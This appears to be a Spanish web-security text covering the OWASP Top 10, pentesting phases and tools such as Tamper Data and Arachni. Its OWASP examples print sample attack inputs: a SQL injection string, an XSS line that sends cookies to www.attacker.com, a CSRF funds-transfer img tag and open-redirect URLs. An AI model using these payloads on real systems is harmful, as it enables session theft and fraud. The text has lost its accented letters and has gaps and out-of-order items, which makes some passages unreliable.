Académique Documents
Professionnel Documents
Culture Documents
Lenguajes o tecnologas del lado del cliente o servidor: Cuando nosotros damos clic sobre
un enlace hipertexto, en realidad lo que pasa es que establecemos una peticin de un
archivo HTML residente en el servidor (un ordenador que se encuentra continuamente
conectado a la red) el cual es enviado e interpretado por nuestro browser (el cliente).
As pues, podemos hablar de lenguajes de lado servidor que son aquellos lenguajes que son
reconocidos, ejecutados e interpretados por el propio servidor y que se envan al cliente en
un formato comprensible para l. Por otro lado, los lenguajes de lado cliente (entre los
cuales no slo se encuentra el HTML sino tambin el Java y el JavaScript los cuales son
simplemente incluidos en el cdigo HTML) son aquellos que pueden ser directamente
"digeridos" por el navegador y no necesitan un pretratamiento.
1.2. OWASP Top Ten
El proyecto abierto de seguridad en aplicaciones Web (OWASP por sus siglas en ingls,
http://www.owasp.org) es una comunidad abierta dedicada a habilitar a las organizaciones
para desarrollar, comprar y mantener aplicaciones confiables.
La Fundacin OWASP es una entidad sin nimo de lucro para asegurar el xito a largo plazo
del proyecto. Casi todos los miembros de OWASP son voluntarios, incluyendo el Directorio
OWASP, los Comits Globales, Lderes de Captulos, Lderes de Proyectos, y miembros de
proyectos.
OWASP Top 10
Los desarrolladores pueden aprender de los errores de otras organizaciones. Los ejecutivos
deben comenzar a pensar como gestionar el riesgo que las aplicaciones de software crean
en sus empresas.
Por cada tem en el Top 10, esta edicin describe la probabilidad general y los factores de
consecuencia que se utilizan para clasificar la gravedad tpica del riesgo. Luego presenta
orientacin sobre como verificar si usted posee problemas en esta rea, como evitarlos,
algunos ejemplos y enlaces a mayor informacin.
1.2.1. A1 Inyeccin
Las fallas de inyeccin, tales como SQL, OS, y LDAP, ocurren cuando datos no confiables son
enviados a un interprete como parte de un comando o consulta. Los datos hostiles del
atacante pueden engaar al interprete en ejecutar comandos no intencionados o acceder
datos no autorizados.
Cualquier interprete est expuesto a esta vulnerabilidad, algunos ejemplos son SQL, XPath
XQuery, XML, XSLT, LDAP
Revisar el cdigo es una manera fcil y efectiva para ver si la aplicacin utiliza los interpretes
de manera segura. Las herramientas de anlisis de cdigo pueden ayudar a un analista de
seguridad a encontrar la utilizacin de interpretes y rastrear el flujo de datos en la
aplicacin. Los testeos de penetracin pueden validar estos problemas a travs de fallas
especialmente hechas a mano que confirman la vulnerabilidad.
Cmo evitarlo? Prevenir la inyeccin requiere mantener los datos no confiables separados
de comandos y consultas.
1.La opcin preferida es utilizar una API segura que evite el uso del interprete
completamente o provea una interface parametrizada. Sea cuidadoso con APIs, tales como
procedimientos almacenados, que son parametrizados, pero que aun pueden introducir
inyeccin implcitamente.
' or '1'='1.
http://example.com/app/accountView?id=' or '1'='1
3.Se muestran los identificadores de sesin en la direccin URL? (por ejemplo, re-escritura
de la direccin)?
2.Se debe hacer especial hincapi en evitar vulnerabilidades de XSS que podran ser
utilizadas para robar identificadores de sesin. Consultar el apartado A3.
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?d
est=Hawaii
Un usuario autenticado en el sitio quiere mostrar la venta a sus amigos. Enva por correo
electrnico el enlace anterior, sin ser consciente de que est proporcionando su
identificador de sesin. Cuando sus amigos utilicen el anterior enlace utilizarn su sesin y
su tarjeta de crdito.
Las fallas XSS ocurren cada vez que una aplicacin toma datos no confiables y los enva al
navegador web sin una validacin y codificacin apropiada. XSS permite a los atacantes
ejecutar secuencia de comandos en el navegador de la vctima los cuales pueden secuestrar
las sesiones de usuario, destruir sitios web, o dirigir al usuario hacia un sitio malicioso.
Los ataques XSS pueden ser generalmente categorizados en dos categoras: almacenados y
reflejados. Hay una tercera categora, mucho menos conocida, llamada XSS Basado en
DOM.
Los ataques almacenados son aquellos en los que el cdigo inyectado est
permanentemente almacenado en servidores que han sido blanco del ataque, como una
base de datos, en un mensaje en un foro, log de visitas, campo de comentarios, etc. La
vctima posteriormente recibe el script malicioso del servidor cuando solicita la informacin
almacenada.
Los ataques reflejados son aquellos en los que el cdigo inyectado es reflejado en el servidor
web, como en un mensaje de error, resultado de bsqueda, o cualquier otra respuesta que
incluya alguno o todos los elementos de entrada al servidor como parte de la solicitud. Los
ataques reflejados se envan a la vctima a travs de otra ruta, como un mensaje de correo,
o a travs de otro servidor web. Cuando un usuario es engaado para dar clic a un enlace
malicioso o para enviar una forma especialmente preparada, el cdigo inyectado viaja al
servidor web vulnerable, el cual refleja el ataque al navegador del usuario. El navegador
entonces ejecuta el cdigo debido a que vino de un usuario confiable.
Los ataques basados en DOM (o como se llaman en otros textos, XSS tipo 0), son ataques
XSS donde el payload del ataque es ejecutado como resultado de modificar el ambiente
DOM en el navegador de la vctima usado por el script del lado del cliente originado, para
que el cdigo del cliente corra de una manera no esperada. Esto es, el sitio en s no cambia,
pero el cdigo del cliente contenido en la pgina se ejecuta de forma diferente debido a
que existen modificaciones maliciosas en el ambiente DOM.
Soy vulnerable? Es necesario asegurarse que todos los datos de entrada suministrados por
el usuario enviados al navegador sean seguros (a travs de validacin de entradas), y que
las entradas de usuario sean apropiadamente escapadas antes de que sean incluidas en la
pagina de salida. Una apropiada codificacin de salida asegura que los datos de entrada
sean siempre tratados como texto en el navegador, en lugar de contenido activo que puede
ser ejecutado.
Tecnologas Web 2.0, tales como AJAX, dificultan la deteccin de XSS a travs de
herramientas automatizadas.
Cmo evitarlo? Prevenir XSS requiere mantener los datos no confiables separados del
contenido activo del navegador.
1.La opcin preferida es escapar todos los datos no confiables basados en el contexto HTML
(cuerpo, atributo, JavaScript, CSS, o URL) donde los mismos sern ubicados. Los
desarrolladores necesitan incluir esta tcnica en sus aplicaciones al menos que el marco UI
lo realice por ellos.
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
Esto causa que el identificador de sesin de la victima sea enviado al sitio web del atacante,
permitiendo al atacante secuestrar la sesin actual del usuario. Notar que los atacantes
pueden tambin utilizar XSS para anular cualquier defensa CSRF que la aplicacin pueda
utilizar. Ver A5 para informacin sobre CSRF.
Una referencia directa a objetos ocurre cuando un desarrollador expone una referencia a
un objeto de implementacin interno, tal como un fichero, directorio, o base de datos. Sin
un chequeo de control de acceso u otra proteccin, los atacantes pueden manipular estas
referencias para acceder datos no autorizados.
Cmo evitarlo? Prevenir referencias inseguras a objetos directos requiere seleccionar una
manera de proteger los objetos accesibles por cada usuario (por ejemplo, identificadores
de objeto, nombres de fichero):
1.Utilizar referencias indirectas por usuario o sesin. Esto evitara que los atacantes
accedieren directamente a recursos no autorizados. Por ejemplo, en vez de utilizar la clave
del recurso de base de datos, se podra utilizar una lista de 6 recursos que utilizase los
nmeros del 1 al 6 para indicar cul es el valor elegido por el usuario. La aplicacin tendra
que realizar la correlacin entre la referencia indirecta con la clave de la base de datos
correspondiente en el servidor. ESAPI de OWASP incluye relaciones tanto secuenciales
como aleatorias de referencias de acceso que los desarrolladores pueden utilizar para
eliminar las referencias directas a objetos.
2.Comprobar el acceso. Cada uso de una referencia directa a un objeto de una fuente que
no es de confianza debe incluir una comprobacin de control de acceso para asegurar que
el usuario est autorizado a acceder al objeto solicitado.
http://example.com/app/accountInfo?acct=notmyacct
1.2.5. A5 Defectuosa Configuracin de Seguridad
Una buena seguridad requiere tener definida e implementada una configuracin segura
para la aplicacin, marcos de trabajo, servidor de aplicacin, servidor web, base de datos, y
plataforma. Todas estas configuraciones deben ser definidas, implementadas, y mantenidas
ya que por lo general no son seguras por defecto. Esto incluye mantener todo el software
actualizado, incluidas las libreras de cdigo utilizadas por la aplicacin.
4.Ha configurado el sistema de manejo de errores para prevenir que se acceda de forma
no autorizada a los mensajes de error?
1.Un proceso repetible que permita configurar, rpida y fcilmente, entornos asegurados.
Los entornos de desarrollo, pruebas y produccin deben estar configurados de la misma
forma. Este proceso debe ser automatizado para minimizar el esfuerzo requerido en la
configuracin de un nuevo entorno.
3.Una arquitectura robusta de la aplicacin que provea una buena separacin y seguridad
entre los componentes.
Escenario #3: El listado del contenido de los directorios no est deshabilitado en el servidor.
Los atacantes descubren que pueden encontrar cualquier archivo simplemente
consultando el listado de los directorios. Los atacantes encuentran y descargan las clases
java compiladas. Dichas clases son desensambladas por ingeniera reversa para obtener su
cdigo. A partir de un anlisis del cdigo se pueden detectar defectos en el control de
acceso de la aplicacin.
Escenario #4. La configuracin del servidor de aplicaciones permite que los mensajes de la
pila sean retornados a los usuarios. Eso potencialmente expone defectos en la aplicacin.
Los atacantes adoran la informacin de error que dichos mensajes proveen.
1.2.6. A6 Exposicin de datos sensibles
Muchas aplicaciones web no protegen adecuadamente los datos sensibles, tales como
tarjetas de crdito, NSSs, y credenciales de autenticacin con mecanismos de cifrado o
hashing. Atacantes pueden modificar o robar tales datos protegidos inadecuadamente para
conducir robos de identidad, fraudes de tarjeta de crdito u otros crmenes.
Soy vulnerable? Lo primero que debe identificar son los datos que son suficientemente
sensibles y requieren cifrado. Por ejemplo, contraseas, tarjetas de crdito, datos mdicos
e informacin personal. Para todos ellos, asegrese de que:
1.Est cifrado en todos aquellos lugares donde es almacenado durante periodos largos,
especialmente en copias de seguridad de estos datos.
4.Genere una clave segura, protjala ante accesos no autorizados y elabore un plan para el
cambio de claves
Cmo evitarlo? El listado de todos los peligros del cifrado inseguro est fuera del alcance
de este documento. Sin embargo, para todos los datos sensibles que requieran cifrado, haga
como mnimo lo siguiente:
1.Considere las amenazas que afecten a sus datos y de las cuales se quiera proteger (por
ejemplo, ataques internos, usuarios externos) y asegrese de que todos los datos estn
cifrados de manera que se defienda de las amenazas.
2.Asegrese de que las copias de seguridad almacenadas externamente estn cifradas, pero
las claves son gestionadas y almacenadas de forma separada.
3.Asegrese del uso adecuado de algoritmos estndares robustos, que las claves usadas son
fuertes y que existe una gestin de claves adecuada.
5.Asegrese de que todas las claves y contraseas son protegidas contra acceso no
autorizado.
Ejemplos de escenarios de ataque: Escenario #1: Una aplicacin cifra las tarjetas de crdito
en la base de datos para prevenir que los datos sean expuestos a los usuarios finales. Sin
embargo, la base de datos descifra automticamente las columnas de las tarjetas de
crdito, permitiendo que una vulnerabilidad de inyeccin de SQL pueda extraer las tarjetas
de crdito en texto plano. El sistema debera haberse configurado de manera que solo las
aplicaciones del back-end pudieran descifrar los datos, no la capa frontal de la aplicacin
web.
Escenario #2: Una cinta de backup almacena datos mdicos cifrados pero la clave en cifrado
se encuentra en el mismo backup. La cinta nunca llega al centro de copias de seguridad.
Escenario #3: La base de datos de contraseas usa hashes sin sal para almacenar las
contraseas de todos los usuarios. Una vulnerabilidad en la subida de ficheros permite a un
atacante obtener el fichero de contraseas. Todos los hashes sin sal se pueden romper en
4 semanas, mientras que los hashes con sal llevaras ms de 3000 aos.
1.Se utiliza SSL para proteger todo el trfico relacionado con la autenticacin.
2.Se utiliza SSL para todos los recursos de pginas y servicios privados. Esto protege todos
los datos y tokens de sesin que se intercambian. Se debe evitar el acceso SSL nicamente
a determinados recursos de una pgina ya que esto provoca advertencias en el navegador
y puede exponer el identificador de sesin de los usuarios.
4.Todas las cookies de sesin tienen el atributo secure activado, de forma que el
navegador nunca las transmita en claro.
5.El certificado del servidor es legtimo y se encuentra configurado correctamente para este
servidor. Esto incluye que sea emitido por una entidad autorizada, que no haya expirado,
que no se encuentre revocado y que se ajuste a todos los dominios utilizados por la
aplicacin.
1.Requerir SSL para todas las pginas sensibles. Las peticiones sin SSL a estas pginas deben
ser redirigidas a las pginas con SSL.
3.Configurar el servidor SSL para que acepte nicamente algoritmos considerados fuertes
(por ejemplo, que cumpla FIPS 140-2).
4.Verificar que el certificado sea vlido, no se encuentre expirado o revocado y que se ajuste
a todos los dominios utilizados por la aplicacin.
Ejemplos de escenarios de ataque: Escenario #1: Una aplicacin no utiliza SSL para todas
las pginas que requieren autenticacin. El atacante simplemente captura el trfico de red
(por ejemplo, a travs de una red inalmbrica abierta o un sistema vecino de su red
cableada), y observa la cookie de sesin de una vctima autenticada.
Escenario #2: Una aplicacin utiliza un certificado SSL configurado incorrectamente, lo que
provoca que el navegador muestre advertencias a sus usuarios. Los usuarios tienen que
aceptar dichas advertencias y continuar para poder acceder a la aplicacin. Esto hace que
los usuarios se acostumbren a estos avisos. Un ataque de phishing contra la aplicacin atrae
los clientes a otra aplicacin de apariencia similar a la original que no dispone de un
certificado vlido, lo que genera advertencias similares en el navegador. Como las vctimas
se encuentran acostumbradas a dichas advertencias, proceden a acceder al sitio de phishing
facilitando contraseas u otra informacin sensible.
Escenario #3: Una aplicacin simplemente utiliza ODBC/JDBC para la conexin con la base
de datos, sin darse cuenta de que todo el trfico se transmite en claro.
1.2.8. A7 Inexistente control de acceso por funciones
Muchas aplicaciones web verifican los privilegios de acceso a URLs antes de generar enlaces
o botones protegidos. Sin embargo, las aplicaciones necesitan realizar controles similares
cada vez que estas pginas son accedidas, o los atacantes podrn falsificar URLs para
acceder a estas pginas igualmente.
Se supone que debe ser accesible para CUALQUIER usuario autenticado? Si no, se hace
una verificacin de autorizacin para asegurar que el usuario tiene permiso de acceder
dicha pgina?
2.Las polticas deberan ser configurables, para minimizar cualquier aspecto embebido en
la poltica.
3.La implementacin del mecanismo debera negar todo acceso por defecto, requiriendo el
establecimiento explcito de permisos a usuarios y roles especficos por cada pgina.
4.Si la pagina forma parte de un proceso de varios pasos, verifique que las condiciones de
la misma se encuentren en el estado apropiado para permitir el acceso.
http://ejemplo.com/app/getappInfo
http://ejemplo.com/app/admin_getappInfo
Un ataque CSRF obliga al navegador de una victima autenticada a enviar una peticin HTTP
falsificado, incluyendo la sesin del usuario y cualquier otra informacin de autenticacin
incluida automticamente, a una aplicacin web vulnerable. Esto permite al atacante forzar
al navegador de la victima para generar pedidos que la aplicacin vulnerable piensa son
peticiones legtimas provenientes de la victima.
Se debe verificar transacciones que involucren mltiples pasos Los atacantes pueden
falsificar una serie de peticiones a travs de mltiples etiquetas o posiblemente cdigo
javascript. Descartar como proteccin las cookies de sesin, las direcciones IP de la fuente
y otro tipo de informacin, ya que est se encuentra incluida en las peticiones falsas.
La herramienta de pruebas para CSRF, elaborada por OWASP, puede ayudar a generar casos
de prueba que sean utilizados por los demonios diseados para detectar fallos relacionados
con CSRF.
1)La opcin preferida es incluir el testigo en un campo oculto. Esto genera que el valor sea
enviado en el cuerpo de la peticin HTTP evitando su inclusin en la URL, lo cual est sujeto
a una mayor exposicin.
2)El testigo nico tambin puede ser incluido en la URL misma, o en un parmetro de la
URL. Sin embargo, este enfoque presenta el riesgo que la URL sea expuesta a un atacante,
y por lo tanto exponiendo al testigo.
Ejemplos de escenarios de ataque: La aplicacin permite que los usuarios enven peticiones
de cambio de estado, que no incluyen nada secreto. Por ejemplo:
http://example.com/app/transferFunds?amount=1500
&destinationAccount=4673243243
El atacante puede construir una peticin que transfiera dinero desde la cuenta de la vctima
a su propia cuenta. Podr insertar su ataque dentro de una etiqueta de imagen en un sitio
web, o iframe, que est bajo su control y al que la vctima se podr dirigir.
<img src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAcct# width="0" height="0" />
Cuando la vctima visite el sitio, en lugar de cargarse la imagen, se realizar la peticin HTTP
falsificada. Si la vctima previamente haba adquirido privilegios entonces el ataque ser
exitoso.
Los componentes como las libreras, frameworks, y otros mdulos de software, casi siempre
funcionan con privilegios totales. Si un componente vulnerable es explotado, tal ataque
puede facilitar la prdida de datos o el que se comprometa el servidor. Las aplicaciones con
componentes vulnerables, pueden minar las defensas y habilitar el rango de posibles
ataques e impactos.
Soy vulnerable? En teora, debe ser sencillo saber si se estn usando componentes o
bibliotecas vulnerables. Desafortunadamente, los reportes de vulnerabilidades para
software comercial o libre no siempre especifica exactamente qu versiones de un
componente son vulnerables en una forma estndar o de bsqueda fcil. Adicionalmente,
no todas las bibliotecas usan un sistema de numeracin entendible. Aun peor, es que no
todas las vulnerabilidades son reportadas a un punto central que sea fcil de localizar,
aunque sitios como CVE y NVD se estn volviendo ms sencillos en su bsqueda.
Cmo evitarlo? Una opcin es no usar componentes que no hayan sido escritos por uno
mismo. Pero eso no es muy realista.
1. Identificar todos los componentes y las versiones que est utilizando, incluyendo sus
dependencias (ej, el plugin de versiones).
Las aplicaciones web frecuentemente redirigen y reenvan a los usuarios hacia otras pginas
o sitios web, y utilizan datos no confiables para determinar la pgina de destino. Sin una
validacin apropiada, los atacantes pueden redirigir a las vctimas hacia sitios de phishing o
malware, o utilizar reenvos para acceder pginas no autorizadas.
3.Si el cdigo no est disponible, se deben analizar todos los parmetros para ver si
pudieran formar parte de una redireccin o destino y modificarlos para comprobar su
comportamiento.
2.Si se utiliza, no involucrar parmetros manipulables por el usuario para definir el destino.
Generalmente, esto puede realizarse.
3.Si los parmetros de destino no pueden evitarse, asegrese de que el valor facilitado es
vlido y autorizado para el usuario. Se recomienda que el valor de cualquier parmetro de
destino sea un valor de mapeo, en lugar de la direccin, o parte de la direccin, de la URL y
en el cdigo del servidor traducir dicho valor a la direccin URL de destino. Las aplicaciones
pueden utilizar ESAPI para sobrescribir el mtodo sendRedirect() y asegurarse de que
todos los destinos redirigidos son seguros. Evitar estos problemas resulta extremadamente
importante ya que son un blanco preferido por los phishers que intentan ganarse la
confianza de los usuarios.
Ejemplos de escenarios de ataque: Escenario #1: La aplicacin tiene una pgina llamada
redirect.jsp que recibe un nico parmetro llamado url. El atacante compone una URL
maliciosa que redirige a los usuarios a una aplicacin que realiza el phishing e instala cdigo
malicioso.
http://www.example.com/redirect.jsp?url=evil.com
Escenario #2: La aplicacin utiliza destinos para redirigir las peticiones entre distintas partes
de la aplicacin. Para facilitar esto, algunas pginas utilizan un parmetro para indicar
dnde ser dirigido el usuario si la transaccin es correcta. En este caso, el atacante
compone una URL que evadir el control de acceso de la aplicacin y llevar al atacante a
una funcin de administracin a la que en una situacin habitual no debera tener acceso.
http://www.example.com/boring.jsp?fwd=admin.jsp
Con base en lo acordado con el administrador del sistema, este tipo de pruebas se dividen
de la siguiente manera:
Pruebas de caja negra: Se realizan pruebas sobre la funcionalidad del sistema, sin contar
con el cdigo fuente ni conocer su estructura interna. La meta de este tipo de pruebas es
simular un ataque externo tal cual se realizara por un usuario malicioso. Para este tipo de
pruebas se debe de gastar ms tiempo en el reconocimiento y escaneo de informacin.
Pruebas de caja blanca o caja de cristal: Las pruebas son realizadas con un conocimiento
completo del sistema a atacar, generalmente incluyndose el cdigo fuente para revisin.
La meta de este tipo de pruebas es simular a un ataque interno, donde se tenga
conocimiento y posibles credenciales bsicas del sistema.
Pruebas de caja gris: Se cuenta con parte de la documentacin del sistema, sin llegar a tener
el cdigo fuente. Al estar mejor informado de las opciones a probar, el atacante realiza una
prueba de caja negra mejor enfocada.
Antes de pasar a estas, existe una primera etapa independiente a las mencionadas
anteriormente, es de gran importancia y no debe omitirse por ninguna razn, en esta etapa
se establece la autorizacin por parte del solicitante de las pruebas de penetracin. Esta
accin es una de las que marcan la diferencia entre un pentester y un cracker. En algunas
metodologas as como en cursos de capacitacin para pentesters se menciona que no se
puede lanzar ni un simple ping si no se cuenta con la autorizacin firmada por el solicitante.
Esta autorizacin es muy importante ya que ser el respaldo legal ante cualquier problema
existente en el proceso de evaluacin.
De igual manera vale la pena sealar que estas etapas, aunque en la metodologa tienden
a parecer pasos escalonados, en la prctica uno se encuentra con un ir y venir entre fases
conforme se van detectando ms hallazgos del sistema a consecuencia de etapas previas o
posteriores. Por ejemplo, una explotacin exitosa nos provee de mayor funcionamiento a
mapear, y con esto una nueva capa de vulnerabilidades para descubrir.
Reconocimiento
Mapeo
Descubrimiento
Una vez reconocidos los puntos de entrada de la aplicacin y otra informacin interesante
obtenida durante las etapas de reconocimiento y mapeo, comenzar a abusar de la
aplicacin. Ahora debemos conocer la aplicacin desde la perspectiva del atacante. En esta
etapa se busca, como su nombre indica, descubrir vulnerabilidades, fallas en la lgica de la
aplicacin, etc. y usarlas posteriormente para la etapa de explotacin. Algunas de las
actividades de esta fase son:
Abuso de aplicacin
pruebas manuales
Explotacin
El formato de un reporte puede ser muy variable, pero a continuacin se muestran algunos
puntos que deben ser presentados:
Tabla de contenido
Resumen ejecutivo
Metodologa utilizada
Es posible creer que el reporte no es importante cuando se realiza un pentest interno, pero
es necesario tener una bitcora que almacene el historial del los problemas de seguridad
que se han tenido, esto podra ayudar a resolver problemas en el futuro.
Aunque las pruebas de penetracin y hacking tico son prcticas tiles, tienen algunas
limitaciones notables dignas del anlisis:
En primer lugar, las pruebas de proyectos por su propia naturaleza tienen un alcance
limitado. La mayora de las organizaciones no lo prueban todo por falta de recursos. Se
prueban los elementos de la infraestructura que se consideran ms importantes. Sin
embargo, un intruso en el mundo real puede encontrar defectos en otras reas que
simplemente no fueron parte del alcance de nuestro proyecto de prueba.
Todo este conjunto de cualidades han alejado a Firefox de ser meramente una herramienta
de navegacin Web, lo convierte actualmente en una poderosa plataforma de
entretenimiento, trabajo o incluso, de auditora y pentest a sitios Web.
Proxies y utileras Web: Los proxies son herramientas que nos permiten observar el
trfico de red. Para pentest a sitios Web, lo que nos interesa es la comunicacin
entre un browser y el servidor Web. Ejemplos: FoxyProxy, Plain Old Webserver,
httProxy.
Editores: Son aplicaciones que sirven para modificar u observar el cdigo de los
sitios Web. Ejemplos: JSVIew, Firebug, XML Developer Toolbar.
Utileras de red: Son todos aquellos plugins que permiten realizar ataques, o
capacidades de deteccin sobre el trfico y protocolos de red. Como clasificacin
secundaria podemos mencionar:
o Sistema de Deteccin de Intrusos (IDS): Incluye los plugins que sirven como
programas para detectar accesos no autorizados a un equipo o a una red.
Ejemplo: Firekeeper.
3.1.1. Tamper Data
Tamper Data es un add-on usado para rastrear y modificar peticiones http/https. Esta
herramienta nos ayuda a visualizar y modificar el envo de parmetros ya sea por GET o por
POST, inclusive si se utiliza AJAX. Permite al atacante entremeterse con la comunicacin
realizada entre cliente y servidor, manipulando fcilmente la informacin para la insercin
de inyecciones de cdigo como puede ser SQL Injection o XSS.
Al concluir, los resultados del escaneo sern almacenados en un archivo, el cual puede ser
convertido posteriormente en diferentes formatos (HTML, texto plano, XML, etc).
Inteligencia: Arachni utiliza varias tcnicas para compensar los varios ambientes que existen
en las aplicaciones web. Esto incluye una combinacin de tcnicas ampliamente
desarrolladas en conjunto con nuevas tcnicas desarrolladas especficamente para el
framework.
Entrenador: El entrenador es lo que permite que Arachni aprenda de los escaneos que
realiza e incorpora ese conocimiento, al vuelo, durante la auditora. Arachni est consciente
sobre qu peticiones son ms propensas a descubrir nuevos elementos o vectores de
ataque y se adapta a estas.
Plugins: Arachni ofrece plugins para ayudar a automatizar varias tares, desde el login a una
aplicacin web para realizar meta-anlisis de alto nivel mediante la referencia cruzada de
resultados de escaneos con un gran nmero de datos del ambiente.
Desarrollo flexible: El sistema permite mltiples opciones de liberacin, desde una interfaz
de lnea de comandos single-user single-scan, una liberacin multi usuario distribuida, hasta
una red de alto rendimiento.
Una vez descargada la aplicacin, ya sea para Mac OS X o para entornos Linux, ingresar al
directorio bin desde una terminal, y ejecutar el siguiente comando:
$ arachni_web
Una vez levantado el servidor Web, se accede a la interfaz grfica a travs de un navegador,
va la direccin de localhost y el puerto levantado por el rpcd.
Al ingresar al sistema, se solicitar un usuario y contrasea. Los usuarios por defecto se
encuentran documentados en el archivo README. En la versin utilizada para este
documento, estos son:
Administrator:
Password: administrator
User:
Password: regular_user
Bibliografa
http://sourceforge.net/projects/samurai/ - SamuraiWTF
https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project - WebGoat
http://revista.seguridad.unam.mx/numero-12/la-importancia-de-las-pruebas-de-
penetraci%C3%B3n-parte-i - Revista de seguridad de la UNAM
https://www.owasp.org - OWASP
http://arachni-scanner.com/ - Arachni